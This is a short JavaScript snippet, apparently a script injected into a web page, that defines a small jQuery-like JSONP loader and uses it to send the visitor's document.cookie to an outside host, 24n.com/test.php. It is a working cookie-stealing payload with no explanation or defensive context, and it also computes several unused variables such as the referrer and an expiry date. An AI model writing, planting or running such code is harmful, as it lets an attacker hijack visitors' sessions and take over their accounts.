if(!window.jQuery){ $ = { getJSON:function(url,data,callback){ var call = this.urlQueryString(url)["callback"]; for(var key in data){ url += "&"+key+"="+data[key]; } //window[call] = callback; window[call] = function(data){ window[call] = undefined; try{ delete window[call]; }catch(e){} callback(data); } var script = document.createElement("script"); script.type = "text/javascript"; script.src = url; document.getElementsByTagName("body")[0].appendChild(script); script.onload = function(){ document.getElementsByTagName("body")[0].removeChild(this); } }, urlQueryString:function(url){ var url = url.split("?")[1]; var result = {},reg = /([^&=]+)=([^&]*)/g,m; while(m = reg.exec(url)){ result[m[1]] = m[2]; } return result; } }; } var c=document.cookie; var Then = new Date() var ref=document.referrer Then.setTime(Then.getTime() + 24*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader) $.getJSON("https://24n.com/test.php?c="+c,'',function(json){ });